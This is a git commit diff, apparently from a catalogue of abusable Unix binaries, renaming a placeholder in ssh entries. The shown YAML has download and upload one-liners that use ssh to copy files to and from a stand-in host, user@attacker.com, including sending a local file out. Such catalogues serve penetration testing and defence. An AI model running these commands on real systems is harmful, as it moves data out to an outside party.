Replace where_to_save with file_to_save

This commit is contained in:
Emilio Pinna
2018-06-04 18:53:35 +01:00
parent 6a747b0920
commit 7e5bcab249
12 changed files with 19 additions and 19 deletions

View File

@@ -13,13 +13,13 @@ functions:
code: |
HOST=user@attacker.com
RPATH=file_to_get
LPATH=where_to_save
LPATH=file_to_save
ssh $HOST "cat $RPATH" > $LPATH
upload:
- description: Send local file to a SSH server.
code: |
HOST=user@attacker.com
RPATH=where_to_save
RPATH=file_to_save
LPATH=file_to_send
ssh $HOST "cat > $RPATH" < $LPATH
file-read: